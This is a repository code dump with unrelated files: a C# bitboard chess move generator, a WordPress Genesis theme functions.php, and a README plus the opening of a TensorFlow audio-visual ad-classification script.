var pieceBBs = new List<UInt64>();
PieceType[] pts = {PieceType.Pawn, PieceType.Rook, PieceType.Knight, PieceType.Bishop, PieceType.Queen};
UInt64 pieces;
UInt64 piece;
if (state.turnIsWhite)
{
UInt64[] bbs = {state.blackPawns, state.blackRooks, state.blackKnights, state.blackBishops, state.blackQueens};
pieceBBs.AddRange(bbs);
} else {
UInt64[] bbs = {state.whitePawns, state.whiteRooks, state.whiteKnights, state.whiteBishops, state.whiteQueens};
pieceBBs.AddRange(bbs);
}
for (var i = 0; i < 5; i++)
{
pieces = pieceBBs[i];
while(pieces != 0)
{
piece = BitOps.MSB(pieces);
pieces = pieces - piece;
opponentPT[piece] = pts[i];
}
}
opponentPT[state.enPassTile] = PieceType.EnPass;
} // End precomputation
{ // Handle Pawns
UInt64 pawns;
UInt64 pawnAdvances;
UInt64 advancingPawns;
UInt64 dPawnAdvances;
UInt64 dAdvancingPawns;
UInt64 pawnLeftAttacks;
UInt64 pawnRightAttacks;
UInt64 attackingLeftPawns;
UInt64 attackingRightPawns;
UInt64 tempSrc;
UInt64 tempDest;
UInt64 src;
UInt64 dest;
if (state.turnIsWhite)
{
pawns = state.whitePawns;
var attackTiles = state.blackPieces | state.enPassTile;
var pawnsNotAFile = pawns & NotAFile;
var pawnsNotHFile = pawns & NotHFile;
pawnAdvances = (pawns << 8) & state.open;
advancingPawns = pawns & (pawnAdvances >> 8);
dPawnAdvances = ((advancingPawns & Rank2) << 16) & state.open;
dAdvancingPawns = pawns & (dPawnAdvances >> 16);
pawnLeftAttacks = (pawnsNotAFile << 9) & attackTiles;
attackingLeftPawns = pawns & (pawnLeftAttacks >> 9);
pawnRightAttacks = (pawnsNotHFile << 7) & attackTiles;
attackingRightPawns = pawns & (pawnRightAttacks >> 7);
}
else
{
pawns = state.blackPawns;
var attackTiles = state.whitePieces | state.enPassTile;
var pawnsNotAFile = pawns & NotAFile;
var pawnsNotHFile = pawns & NotHFile;
pawnAdvances = (pawns >> 8) & state.open;
advancingPawns = pawns & (pawnAdvances << 8);
dPawnAdvances = ((advancingPawns & Rank7) >> 16) & state.open;
dAdvancingPawns = pawns & (dPawnAdvances << 16);
pawnLeftAttacks = (pawnsNotAFile >> 7) & attackTiles;
attackingLeftPawns = pawns & (pawnLeftAttacks << 7);
pawnRightAttacks = (pawnsNotHFile >> 9) & attackTiles;
attackingRightPawns = pawns & (pawnRightAttacks << 9);
}
UInt64[] tempSrcs = { advancingPawns, dAdvancingPawns, attackingLeftPawns, attackingRightPawns };
UInt64[] tempDests = { pawnAdvances, dPawnAdvances, pawnLeftAttacks, pawnRightAttacks };
for (var i = 0; i < 4; i++)
{
tempSrc = tempSrcs[i];
tempDest = tempDests[i];
while(tempSrc != 0)
{
src = BitOps.MSB(tempSrc);
dest = BitOps.MSB(tempDest);
tempSrc = tempSrc - src;
tempDest = tempDest - dest;
if ( (dest & (Rank1 | Rank8)) == 0)
{
if (i > 1)
{
neighbors.Add( new XAction(src, dest, PieceType.Pawn, attack:opponentPT[dest]) );
} else {
neighbors.Add( new XAction(src, dest, PieceType.Pawn) );
}
} else {
if (i > 1)
{
neighbors.Add( new XAction(src, dest, PieceType.Pawn, attack:opponentPT[dest], promote:PieceType.Queen) );
neighbors.Add( new XAction(src, dest, PieceType.Pawn, attack:opponentPT[dest], promote:PieceType.Knight) );
neighbors.Add( new XAction(src, dest, PieceType.Pawn, attack:opponentPT[dest], promote:PieceType.Bishop) );
neighbors.Add( new XAction(src, dest, PieceType.Pawn, attack:opponentPT[dest], promote:PieceType.Rook) );
} else {
neighbors.Add( new XAction(src, dest, PieceType.Pawn, promote:PieceType.Queen) );
neighbors.Add( new XAction(src, dest, PieceType.Pawn, promote:PieceType.Knight) );
neighbors.Add( new XAction(src, dest, PieceType.Pawn, promote:PieceType.Bishop) );
neighbors.Add( new XAction(src, dest, PieceType.Pawn, promote:PieceType.Rook) );
}
}
}
}
} // End Pawns
{ // Handle Knights
UInt64 opponentPieces;
UInt64 knights;
UInt64 knight;
UInt64 knightAttacks;
UInt64 knightAttack;
if (state.turnIsWhite)
{
knights = state.whiteKnights;
opponentPieces = state.blackPieces;
} else {
knights = state.blackKnights;
opponentPieces = state.whitePieces;
}
while(knights != 0)
{
knight = BitOps.MSB(knights);
knights = knights - knight;
knightAttacks = getKnightAttacks(knight) & (state.open | opponentPieces);
while(knightAttacks != 0)
{
knightAttack = BitOps.MSB(knightAttacks);
knightAttacks = knightAttacks - knightAttack;
if ((knightAttack & opponentPieces) != 0)
{
neighbors.Add( new XAction(knight, knightAttack, PieceType.Knight, attack:opponentPT[knightAttack]) );
} else {
neighbors.Add( new XAction(knight, knightAttack, PieceType.Knight) );
}
}
}
} // End Knights
{ // Handle King
UInt64 opponentPieces;
UInt64 king;
UInt64 kingAttacks;
UInt64 kingAttack;
if (state.turnIsWhite)
{
king = state.whiteKing;
opponentPieces = state.blackPieces;
} else {
king = state.blackKing;
opponentPieces = state.whitePieces;
}
kingAttacks = getKingAttacks(king) & (state.open | opponentPieces);
while(kingAttacks != 0)
{
kingAttack = BitOps.MSB(kingAttacks);
kingAttacks = kingAttacks - kingAttack;
if ((kingAttack & opponentPieces) != 0)
{
neighbors.Add( new XAction(king, kingAttack, PieceType.King, attack:opponentPT[kingAttack]) );
} else {
neighbors.Add( new XAction(king, kingAttack, PieceType.King) );
}
}
} // End King
{ // Handle Castling
if (state.turnIsWhite)
{
if (!state.whiteCheck)
{
if (state.whiteCastleKS && ((state.open & whiteKSSpace) == whiteKSSpace) && (Threats(state, whiteKSThrough, false) == 0))
{
neighbors.Add( new XAction(state.whiteKing, whiteKSDest, PieceType.Castle) );
}
if (state.whiteCastleQS && ((state.open & whiteQSSpace) == whiteQSSpace) && (Threats(state, whiteQSThrough, false) == 0))
{
neighbors.Add( new XAction(state.whiteKing, whiteQSDest, PieceType.Castle) );
}
}
} else {
if (!state.blackCheck)
{
if (state.blackCastleKS && ((state.open & blackKSSpace) == blackKSSpace) && (Threats(state, blackKSThrough, true) == 0))
{
neighbors.Add( new XAction(state.blackKing, blackKSDest, PieceType.Castle) );
}
if (state.blackCastleQS && ((state.open & blackQSSpace) == blackQSSpace) && (Threats(state, blackQSThrough, true) == 0))
{
neighbors.Add( new XAction(state.blackKing, blackQSDest, PieceType.Castle) );
}
}
}
} // End Castling
{ // Handle Rooks and QueenRooks
UInt64 opponentPieces;
UInt64 rooks;
UInt64 realRooks;
UInt64 rook;
UInt64 rookAttacks = 0;
UInt64 rookAttack;
UInt64 validMove;
if (state.turnIsWhite)
{
realRooks = state.whiteRooks;
rooks = state.whiteRooks | state.whiteQueens;
opponentPieces = state.blackPieces;
} else {
realRooks = state.blackRooks;
rooks = state.blackRooks | state.blackQueens;
opponentPieces = state.whitePieces;
}
validMove = state.open | opponentPieces;
while(rooks != 0)
{
rook = BitOps.MSB(rooks);
rooks = rooks - rook;
// up
rookAttack = rook << 8;
while((rookAttack & validMove) != 0)
{
rookAttacks = rookAttacks | rookAttack;
if ((rookAttack & opponentPieces) != 0) break;
rookAttack = rookAttack << 8;
}
// down
rookAttack = rook >> 8;
while((rookAttack & validMove) != 0)
{
rookAttacks = rookAttacks | rookAttack;
if ((rookAttack & opponentPieces) != 0) break;
rookAttack = rookAttack >> 8;
}
// left
rookAttack = rook << 1;
while((rookAttack & validMove & NotHFile) != 0)
{
rookAttacks = rookAttacks | rookAttack;
if ((rookAttack & opponentPieces) != 0) break;
rookAttack = rookAttack << 1;
}
// right
rookAttack = rook >> 1;
while((rookAttack & validMove & NotAFile) != 0)
{
rookAttacks = rookAttacks | rookAttack;
if ((rookAttack & opponentPieces) != 0) break;
rookAttack = rookAttack >> 1;
}
while(rookAttacks != 0)
{
rookAttack = BitOps.MSB(rookAttacks);
rookAttacks = rookAttacks - rookAttack;
if ((rookAttack & opponentPieces) != 0)
{
neighbors.Add( new XAction(rook, rookAttack, ( ((rook & realRooks) != 0) ? PieceType.Rook : PieceType.Queen ), attack:opponentPT[rookAttack] ) );
} else {
neighbors.Add( new XAction(rook, rookAttack, ( ((rook & realRooks) != 0) ? PieceType.Rook : PieceType.Queen ) ) );
}
}
}
} // End Rooks and QueenRooks
{ // Handle Bishops and QueenBishops
UInt64 opponentPieces;
UInt64 bishops;
UInt64 realBishops;
UInt64 bishop;
UInt64 bishopAttacks = 0;
UInt64 bishopAttack;
UInt64 validMove;
if (state.turnIsWhite)
{
realBishops = state.whiteBishops;
bishops = state.whiteBishops | state.whiteQueens;
opponentPieces = state.blackPieces;
} else {
realBishops = state.blackBishops;
bishops = state.blackBishops | state.blackQueens;
opponentPieces = state.whitePieces;
}
validMove = state.open | opponentPieces;
while(bishops != 0)
{
bishop = BitOps.MSB(bishops);
bishops = bishops - bishop;
// upleft
bishopAttack = bishop << 9;
while((bishopAttack & validMove & NotHFile) != 0)
{
bishopAttacks = bishopAttacks | bishopAttack;
if ((bishopAttack & opponentPieces) != 0) break;
bishopAttack = bishopAttack << 9;
}
// upright
bishopAttack = bishop << 7;
while((bishopAttack & validMove & NotAFile) != 0)
{
bishopAttacks = bishopAttacks | bishopAttack;
if ((bishopAttack & opponentPieces) != 0) break;
bishopAttack = bishopAttack << 7;
}
// downleft
bishopAttack = bishop >> 7;
while((bishopAttack & validMove & NotHFile) != 0)
{
bishopAttacks = bishopAttacks | bishopAttack;
if ((bishopAttack & opponentPieces) != 0) break;
bishopAttack = bishopAttack >> 7;
}
// downright
bishopAttack = bishop >> 9;
while((bishopAttack & validMove & NotAFile) != 0)
{
bishopAttacks = bishopAttacks | bishopAttack;
if ((bishopAttack & opponentPieces) != 0) break;
bishopAttack = bishopAttack >> 9;
}
while(bishopAttacks != 0)
{
bishopAttack = BitOps.MSB(bishopAttacks);
bishopAttacks = bishopAttacks - bishopAttack;
if ((bishopAttack & opponentPieces) != 0)
{
neighbors.Add( new XAction(bishop, bishopAttack, ( ((bishop & realBishops) != 0) ? PieceType.Bishop : PieceType.Queen ), attack:opponentPT[bishopAttack] ) );
} else {
neighbors.Add( new XAction(bishop, bishopAttack, ( ((bishop & realBishops) != 0) ? PieceType.Bishop : PieceType.Queen ) ) );
}
}
}
} // End Bishops and QueenBishops
{ // Handle Check
foreach (XAction neighbor in neighbors)
{
state.Apply(neighbor);
if (state.turnIsWhite)
{
if (state.blackCheck)
{
invalidNeighbors.Add(neighbor);
}
} else {
if (state.whiteCheck)
{
invalidNeighbors.Add(neighbor);
}
}
state.Undo();
}
}
return neighbors.Where(n => !invalidNeighbors.Contains(n)).OrderBy(n => n.attackType).ThenBy(n => rand.Next()).ToList();
} // End LegalMoves
public static UInt64 Threats(XBoard state, UInt64 tile, bool whiteAttackers)
{
UInt64 threats = 0;
UInt64 threat;
UInt64 validMove;
UInt64 checkThreats;
UInt64 attackers;
// Check Pawns
if (whiteAttackers)
{
attackers = state.whitePawns;
checkThreats = ((tile >> 9) & NotAFile) | ((tile >> 7) & NotHFile);
} else {
attackers = state.blackPawns;
checkThreats = ((tile << 9) & NotHFile) | ((tile << 7) & NotAFile);
}
threats |= (attackers & checkThreats);
// Check Knights
if (whiteAttackers)
{
attackers = state.whiteKnights;
} else {
attackers = state.blackKnights;
}
checkThreats = getKnightAttacks(tile);
threats |= (attackers & checkThreats);
// Check King
if (whiteAttackers)
{
attackers = state.whiteKing;
} else {
attackers = state.blackKing;
}
checkThreats = getKingAttacks(tile);
threats |= (attackers & checkThreats);
// Check Rooks
if (whiteAttackers)
{
attackers = state.whiteRooks | state.whiteQueens;
} else {
attackers = state.blackRooks | state.blackQueens;
}
validMove = state.open | attackers;
// up
threat = tile << 8;
while((threat & validMove) != 0)
{
if ((threat & attackers) != 0)
{
threats |= threat;
break;
}
threat = threat << 8;
}
// down
threat = tile >> 8;
while((threat & validMove) != 0)
{
if ((threat & attackers) != 0)
{
threats |= threat;
break;
}
threat = threat >> 8;
}
// left
threat = tile << 1;
while((threat & validMove & NotHFile) != 0)
{
if ((threat & attackers) != 0)
{
threats |= threat;
break;
}
threat = threat << 1;
}
// right
threat = tile >> 1;
while((threat & validMove & NotAFile) != 0)
{
if ((threat & attackers) != 0)
{
threats |= threat;
break;
}
threat = threat >> 1;
}
// Check Bishops
if (whiteAttackers)
{
attackers = state.whiteBishops | state.whiteQueens;
} else {
attackers = state.blackBishops | state.blackQueens;
}
validMove = state.open | attackers;
// upleft
threat = tile << 9;
while((threat & validMove & NotHFile) != 0)
{
if ((threat & attackers) != 0)
{
threats |= threat;
break;
}
threat = threat << 9;
}
// upright
threat = tile << 7;
while((threat & validMove & NotAFile) != 0)
{
if ((threat & attackers) != 0)
{
threats |= threat;
break;
}
threat = threat << 7;
}
// downleft
threat = tile >> 7;
while((threat & validMove & NotHFile) != 0)
{
if ((threat & attackers) != 0)
{
threats |= threat;
break;
}
threat = threat >> 7;
}
// downright
threat = tile >> 9;
while((threat & validMove & NotAFile) != 0)
{
if ((threat & attackers) != 0)
{
threats |= threat;
break;
}
threat = threat >> 9;
}
return threats;
}
/// <summary>
/// Some precomputation for king movement
/// </summary>
public static UInt64 getKingAttacks(UInt64 king)
{
switch (king)
{
case 1: return 770;
case 2: return 1797;
case 4: return 3594;
case 8: return 7188;
case 16: return 14376;
case 32: return 28752;
case 64: return 57504;
case 128: return 49216;
case 256: return 197123;
case 512: return 460039;
case 1024: return 920078;
case 2048: return 1840156;
case 4096: return 3680312;
case 8192: return 7360624;
case 16384: return 14721248;
case 32768: return 12599488;
case 65536: return 50463488;
case 131072: return 117769984;
case 262144: return 235539968;
case 524288: return 471079936;
case 1048576: return 942159872;
case 2097152: return 1884319744;
case 4194304: return 3768639488;
case 8388608: return 3225468928;
case 16777216: return 12918652928;
case 33554432: return 30149115904;
case 67108864: return 60298231808;
case 134217728: return 120596463616;
case 268435456: return 241192927232;
case 536870912: return 482385854464;
case 1073741824: return 964771708928;
case 2147483648: return 825720045568;
case 4294967296: return 3307175149568;
case 8589934592: return 7718173671424;
case 17179869184: return 15436347342848;
case 34359738368: return 30872694685696;
case 68719476736: return 61745389371392;
case 137438953472: return 123490778742784;
case 274877906944: return 246981557485568;
case 549755813888: return 211384331665408;
case 1099511627776: return 846636838289408;
case 2199023255552: return 1975852459884544;
case 4398046511104: return 3951704919769088;
case 8796093022208: return 7903409839538176;
case 17592186044416: return 15806819679076352;
case 35184372088832: return 31613639358152704;
case 70368744177664: return 63227278716305408;
case 140737488355328: return 54114388906344448;
case 281474976710656: return 216739030602088448;
case 562949953421312: return 505818229730443264;
case 1125899906842624: return 1011636459460886528;
case 2251799813685248: return 2023272918921773056;
case 4503599627370496: return 4046545837843546112;
case 9007199254740992: return 8093091675687092224;
case 18014398509481984: return 16186183351374184448;
case 36028797018963968: return 13853283560024178688;
case 72057594037927936: return 144959613005987840;
case 144115188075855872: return 362258295026614272;
case 288230376151711744: return 724516590053228544;
case 576460752303423488: return 1449033180106457088;
case 1152921504606846976: return 2898066360212914176;
case 2305843009213693952: return 5796132720425828352;
case 4611686018427387904: return 11592265440851656704;
case 9223372036854775808: return 4665729213955833856;
default:
Console.WriteLine("Incorrect king position");
throw new System.Exception();
}
}
/// <summary>
/// Some precomputation for knight movement
/// </summary>
public static UInt64 getKnightAttacks(UInt64 knight)
{
switch (knight)
{
case 1: return 132096;
case 2: return 329728;
case 4: return 659712;
case 8: return 1319424;
case 16: return 2638848;
case 32: return 5277696;
case 64: return 10489856;
case 128: return 4202496;
case 256: return 33816580;
case 512: return 84410376;
case 1024: return 168886289;
case 2048: return 337772578;
case 4096: return 675545156;
case 8192: return 1351090312;
case 16384: return 2685403152;
case 32768: return 1075839008;
case 65536: return 8657044482;
case 131072: return 21609056261;
case 262144: return 43234889994;
case 524288: return 86469779988;
case 1048576: return 172939559976;
case 2097152: return 345879119952;
case 4194304: return 687463207072;
case 8388608: return 275414786112;
case 16777216: return 2216203387392;
case 33554432: return 5531918402816;
case 67108864: return 11068131838464;
case 134217728: return 22136263676928;
case 268435456: return 44272527353856;
case 536870912: return 88545054707712;
case 1073741824: return 175990581010432;
case 2147483648: return 70506185244672;
case 4294967296: return 567348067172352;
case 8589934592: return 1416171111120896;
case 17179869184: return 2833441750646784;
case 34359738368: return 5666883501293568;
case 68719476736: return 11333767002587136;
case 137438953472: return 22667534005174272;
case 274877906944: return 45053588738670592;
case 549755813888: return 18049583422636032;
case 1099511627776: return 145241105196122112;
case 2199023255552: return 362539804446949376;
case 4398046511104: return 725361088165576704;
case 8796093022208: return 1450722176331153408;
case 17592186044416: return 2901444352662306816;
case 35184372088832: return 5802888705324613632;
case 70368744177664: return 11533718717099671552;
case 140737488355328: return 4620693356194824192;
case 281474976710656: return 288234782788157440;
case 562949953421312: return 576469569871282176;
case 1125899906842624: return 1224997833292120064;
case 2251799813685248: return 2449995666584240128;
case 4503599627370496: return 4899991333168480256;
case 9007199254740992: return 9799982666336960512;
case 18014398509481984: return 1152939783987658752;
case 36028797018963968: return 2305878468463689728;
case 72057594037927936: return 1128098930098176;
case 144115188075855872: return 2257297371824128;
case 288230376151711744: return 4796069720358912;
case 576460752303423488: return 9592139440717824;
case 1152921504606846976: return 19184278881435648;
case 2305843009213693952: return 38368557762871296;
case 4611686018427387904: return 4679521487814656;
case 9223372036854775808: return 9077567998918656;
default:
Console.WriteLine("Incorrect knight position");
throw new System.Exception();
}
}
}
| 0e9c7e4825ebf88a5a5758d260bdfa9d8e6f28d5 | [
"C#"
] | 10 | C# | Harrichael/waffle-chess-ai | ac863849e8483e881331539a72bb3e85e6201398 | bef52afa4a3404d462801e9632fcb8cbc98b3713 |
refs/heads/master | <repo_name>leighbiz/optimizewp<file_sep>/functions.php
<?php
require_once get_template_directory() . '/lib/init.php';
add_filter( 'genesis_disable_microdata', '__return_true' );
add_filter( 'nav_menu_item_id', '__return_null' );
remove_action( 'genesis_meta', 'genesis_load_stylesheet' );
remove_action( 'genesis_site_title', 'genesis_seo_site_title' );
remove_action( 'genesis_site_description', 'genesis_seo_site_description' );
remove_action( 'genesis_after_header', 'genesis_do_nav' );
add_action( 'genesis_header', 'genesis_do_nav' );
remove_action( 'genesis_after_header', 'genesis_do_subnav' );
add_action( 'genesis_footer', 'genesis_do_subnav', 5 );
add_theme_support( 'align-wide' );
add_theme_support(
'genesis-custom-logo',
[
'height' => 100,
'width' => 400,
'flex-height' => true,
'flex-width' => true,
]
);
add_theme_support(
'genesis-structural-wraps',
[
'header',
'entry-header',
'footer',
]
);
add_theme_support( 'soil-clean-up' );
add_theme_support( 'soil-disable-asset-versioning' );
add_theme_support( 'soil-disable-trackbacks' );
add_theme_support( 'soil-google-analytics', 'UA-168261960-1' );
add_theme_support( 'soil-js-to-footer' );
add_theme_support( 'soil-nav-walker' );
add_theme_support( 'soil-nice-search' );
add_theme_support( 'soil-relative-urls' );
if ( ! is_admin() ) {
add_theme_support( 'soil-disable-rest-api' );
}
add_action( 'wp_enqueue_scripts', function () {
$slug = 'optimizewp-';
$dir = trailingslashit( get_stylesheet_directory_uri() . '/css/' );
wp_enqueue_style( $slug . 'normalize', $dir . 'normalize.css' );
wp_enqueue_style( $slug . 'variables', $dir . 'variables.css' );
wp_enqueue_style( $slug . 'fonts', $dir . 'fonts.css' );
wp_enqueue_style( $slug . 'main', $dir . 'main.css' );
wp_enqueue_style( $slug . 'header', $dir . 'header.css' );
wp_enqueue_style( $slug . 'nav', $dir . 'nav.css' );
wp_enqueue_style( $slug . 'footer', $dir . 'footer.css' );
wp_enqueue_style( $slug . 'blocks', $dir . 'blocks.css' );
wp_enqueue_style( $slug . 'desktop', $dir . 'desktop.css' );
wp_enqueue_style( $slug . 'utilities', $dir . 'utilities.css' );
} );
add_filter( 'walker_nav_menu_start_el', function ( $menu_item ) {
if ( strpos( $menu_item, 'href="#"' ) !== false ) {
$menu_item = str_replace( 'href="#"', 'href="javascript:void(0);"', $menu_item );
}
return $menu_item;
}, 11 );
add_filter( 'nav_menu_link_attributes', function ( $atts ) {
$atts['class'] = 'menu-item-link';
$atts['class'] .= $atts['aria-current'] ? ' menu-item-link-current' : '';
if ( isset( $atts['title'] ) && $atts['title'] ) {
$atts['class'] = $atts['title'];
unset( $atts['title'] );
}
return $atts;
} );
add_filter( 'wp_nav_menu_objects', function ( $items ) {
$items[1]->classes[] = 'menu-item-first';
$items[ count( $items ) ]->classes[] = 'menu-item-last';
return $items;
} );
add_filter( 'nav_menu_css_class', function ( $classes ) {
$whitelist = [
'menu-item',
'menu-item-first',
'menu-item-last',
'has-button',
];
foreach ( $classes as $index => $class ) {
if ( ! in_array( $class, $whitelist, true ) ) {
unset( $classes[ $index ] );
}
if ( 'has-button' === $class ) {
unset( $classes[ $index ] );
$classes[] = 'has-button';
}
}
return $classes;
} );
add_filter( 'genesis_attr_entry-header', function ( $atts ) {
if ( is_singular( 'page' ) ) {
$atts['class'] .= ' alignfull has-gradient';
}
return $atts;
} );
| 07e212a556c7a6f58851a04ddf25cd34ebdadaf9 | [
"PHP"
] | 1 | PHP | leighbiz/optimizewp | 099b070938a413ddc3bd62c5c740a5e41d60d8d3 | e783880951ed59a47344e16e92c962526a0c0f76 |
refs/heads/master | <repo_name>albertaparicio/Deep-Audio-Visual-Convolutional-Network<file_sep>/README.md
# Deep Audio-Visual Convolutional Network
This is a Tensorflow implementation of our proposed deep audio-visual convolutional neural network for targeted advertisement in broadcast TV.
This model is used for commercial detection, categorization and replacement in broadcast videos, and can be trained either for a single task or in a multi-task learning fashion.
for further details please refer to this page: https://sites.google.com/site/shervinminaee/research/audiovisual
<file_sep>/CNN_classifier.py
### <NAME>, July 2017
### Ad categorization using CNN on video key-frames
### 10 classes, 12k raw data.
### Data augmentation is applied, by flipping, rotating, and adding noise
from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
import pickle, os, time
import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt
from numpy import linalg as LA
init_time= time.time()
#################################### Loading the Dataset
ads_data_list= pickle.load( open("Ads400_3keyframes_july19.p", "rb") )
ads_data= np.asarray(ads_data_list) ## 12k samples of 112x112x3
vid_data_list= pickle.load( open("Vid500_10shots_3keyframes.p", "rb") )
vid_data= np.asarray(vid_data_list) ## 12k samples of 112x112x3
ads_audio_list= pickle.load( open("Ads400_audio_ad_mfcc_july19.p", "rb") )
ads_audio= np.asarray(ads_audio_list) ## 12k samples of 112x112x3
vid_audio_list= pickle.load( open("Vid500_10shots_mfcc.p", "rb") )
vid_audio= np.asarray(vid_audio_list) ## 12k samples of 112x112x3
################################### Audio normalization and repeating
for i in range(ads_audio.shape[0]):
ads_audio[i,:]= ( ads_audio[i,:]- np.mean(ads_audio[i,:]) ) / ( np.std(ads_audio[i,:])+ 1e-6 )
for i in range(vid_audio.shape[0]):
vid_audio[i,:]= ( vid_audio[i,:]- np.mean(vid_audio[i,:]) ) / ( np.std(vid_audio[i,:])+ 1e-6 )
ads_audio_3x= np.zeros([ads_audio.shape[0]*3, ads_audio.shape[1]])
vid_audio_3x= np.zeros([vid_audio.shape[0]*3, vid_audio.shape[1]])
for i in range(ads_audio.shape[0]):
ads_audio_3x[3*i,:]= ads_audio[i,:]
ads_audio_3x[3*i+1,:]= ads_audio[i,:]
ads_audio_3x[3*i+2,:]= ads_audio[i,:]
for i in range(vid_audio.shape[0]):
vid_audio_3x[3*i,:]= vid_audio[i,:]
vid_audio_3x[3*i+1,:]= vid_audio[i,:]
vid_audio_3x[3*i+2,:]= vid_audio[i,:]
#################################### Visual part normalizatin
print("\n")
zero_std_ads= list()
for i in range(ads_data.shape[0]):
for j in range(ads_data.shape[3]):
if (np.std(ads_data[i,:,:,j])< 1e-6):
zero_std_ads.append(i)
ads_data[i,:,:,j]= ( ads_data[i,:,:,j]- np.mean(ads_data[i,:,:,j]) ) / ( LA.norm(ads_data[i,:,:,j])+ 1e-6 )
else:
ads_data[i,:,:,j]= ( ads_data[i,:,:,j]- np.mean(ads_data[i,:,:,j]) ) / ( np.std(ads_data[i,:,:,j]) + 1e-8 )
if i%1000==0:
print("%d-th ads' sample normalized!" %i)
print("\n")
zero_std_vid= list()
for i in range(vid_data.shape[0]):
for j in range(vid_data.shape[3]):
if (np.std(vid_data[i,:,:,j])< 1e-6):
zero_std_vid.append(i)
vid_data[i,:,:,j]= ( vid_data[i,:,:,j]- np.mean(vid_data[i,:,:,j]) ) / ( LA.norm(vid_data[i,:,:,j])+ 1e-6 )
else:
vid_data[i,:,:,j]= ( vid_data[i,:,:,j]- np.mean(vid_data[i,:,:,j]) ) / ( np.std(vid_data[i,:,:,j]) + 1e-8 )
if i%1000==0:
print("%d-th video sample normalized!" %i)
#################################### shuffle ads and videos, to have from all classes in training
num_frame_pv= 30 ## number of frames per video
num_ads_shot= int(ads_data.shape[0]/30)
num_vid_shot= int(vid_data.shape[0]/30)
np.random.seed(0)
shuffled_ind1= np.random.permutation( num_ads_shot)
shuffled_ind2= np.random.permutation( num_vid_shot)
X1_shuffled_ads = np.zeros( ads_data.shape, dtype=np.float) ## visual frame
X2_shuffled_ads = np.zeros( ads_audio_3x.shape, dtype=np.float) ## audio mfcc features
for i in range( num_ads_shot):
X1_shuffled_ads[ 30*i:30*i+30, :, :, :] = ads_data[ 30*shuffled_ind1[i]:30*shuffled_ind1[i]+30, :, :, :]
X2_shuffled_ads[ 30*i:30*i+30, :] = ads_audio_3x[ 30*shuffled_ind1[i]:30*shuffled_ind1[i]+30, :]
X1_shuffled_vid= np.zeros( vid_data.shape, dtype=np.float)
X2_shuffled_vid= np.zeros( vid_audio_3x.shape, dtype=np.float) ## audio mfcc features
for i in range( num_vid_shot):
X1_shuffled_vid[ 30*i:30*i+30, :, :, :] = vid_data[ 30*shuffled_ind2[i]:30*shuffled_ind2[i]+30, :, :, :]
X2_shuffled_vid[ 30*i:30*i+30, :] = vid_audio_3x[ 30*shuffled_ind2[i]:30*shuffled_ind2[i]+30, :]
training_percentage= 0.8
num_ads_train= int( training_percentage*ads_data.shape[0])
num_ads_test = ads_data.shape[0]- num_ads_train
num_vid_train= int( training_percentage*vid_data.shape[0])
num_vid_test = vid_data.shape[0]- num_vid_train
X1_train_ads= X1_shuffled_ads[:num_ads_train,:,:,:]
X1_test_ads = X1_shuffled_ads[num_ads_train:,:,:,:]
X1_train_vid= X1_shuffled_vid[:num_vid_train,:,:,:]
X1_test_vid = X1_shuffled_vid[num_vid_train:,:,:,:]
X2_train_ads= X2_shuffled_ads[:num_ads_train,:]
X2_test_ads = X2_shuffled_ads[num_ads_train:,:]
X2_train_vid= X2_shuffled_vid[:num_vid_train,:]
X2_test_vid = X2_shuffled_vid[num_vid_train:,:]
#### preparing the labels: ads= [1,0] and videos=[0,1]
Y_train_ads= np.hstack( ( np.ones((num_ads_train,1), dtype=np.int8), np.zeros((num_ads_train,1), dtype=np.int8) ))
Y_train_vid= np.hstack( ( np.zeros((num_vid_train,1), dtype=np.int8), np.ones((num_vid_train,1), dtype=np.int8) ))
Y_test_ads = np.hstack( ( np.ones((num_ads_test,1), dtype=np.int8), np.zeros((num_ads_test,1), dtype=np.int8) ))
Y_test_vid = np.hstack( ( np.zeros((num_vid_test,1), dtype=np.int8), np.ones((num_vid_test,1), dtype=np.int8) ))
X1_train= np.vstack( (X1_train_ads, X1_train_vid) )
X1_test = np.vstack( (X1_test_ads, X1_test_vid) )
X2_train= np.vstack( (X2_train_ads, X2_train_vid) )
X2_test = np.vstack( (X2_test_ads, X2_test_vid) )
Y_train = np.vstack( (Y_train_ads, Y_train_vid) )
Y_test = np.vstack( (Y_test_ads, Y_test_vid) )
np.random.seed(1)
shuffled_ind4= np.random.permutation( X1_test.shape[0])
X1_test= X1_test[shuffled_ind4,:,:,:]
X2_test= X2_test[shuffled_ind4,:]
Y_test = Y_test[shuffled_ind4,:]
np.random.seed(1)
shuffled_ind5= np.random.permutation( X1_train.shape[0])
X1_train1= X1_train[shuffled_ind5,:,:,:]
X2_train1= X2_train[shuffled_ind5,:]
Y_train1 = Y_train[shuffled_ind5,:]
print("Data processing is Done!")
pred_test_label= np.zeros(Y_test.shape)
#################################### Hyper-parameters
learning_rate= tf.placeholder( tf.float32, shape=[], name="learning_rate")
num_epoch= 100
batch_size= 200
num_batches= int( X1_train.shape[0]/batch_size )
num_classes= 2
train_acc_epoch= np.zeros((5*num_epoch,))
test_acc_epoch = np.zeros((5*num_epoch,))
test_pre_epoch = np.zeros((5*num_epoch,))
test_rec_epoch = np.zeros((5*num_epoch,))
test_f1s_epoch = np.zeros((5*num_epoch,))
#################################### TF Graph Input
x1 = tf.placeholder(tf.float32, [None, vid_data.shape[1], vid_data.shape[2], 3], name="video_frame")
x2 = tf.placeholder(tf.float32, [None, ads_audio_3x.shape[1]], name="MFCC_feature" )
y = tf.placeholder(tf.float32, [None, num_classes], name="ad_label") #### ground-truth class labels
keep_prob = tf.placeholder(tf.float32, name="dropout_rate") ## dropout (keep probability)
#################################### Network Architecture
def weight_variable(shape):
initial = tf.truncated_normal(shape, stddev=0.03)
return tf.Variable(initial)
def bias_variable(shape):
initial = tf.constant(0.01, shape=shape)
return tf.Variable(initial)
def conv2d(x, W):
return tf.nn.conv2d(x, W, strides=[1, 1, 1, 1], padding='VALID')
def conv2d_st2(x, W):
return tf.nn.conv2d(x, W, strides=[1, 2, 2, 1], padding='VALID')
def max_pool_2x2(x):
return tf.nn.max_pool(x, ksize=[1, 2, 2, 1],
strides=[1, 2, 2, 1], padding='VALID')
################################################# Visual Information Processing Network
# 1st Convolutional Layer kernel dim= (5x5x3), #output channels= 16.
# Rectified linear output & max pooling. Output size= floor[(W1-K+2P)/S]+1
W_conv1 = tf.Variable(tf.truncated_normal( [3, 3, 3, 16], stddev=0.03), name="w_conv1") ##
b_conv1 = tf.Variable(tf.constant(0.01, shape=[16]), name="b_conv1")
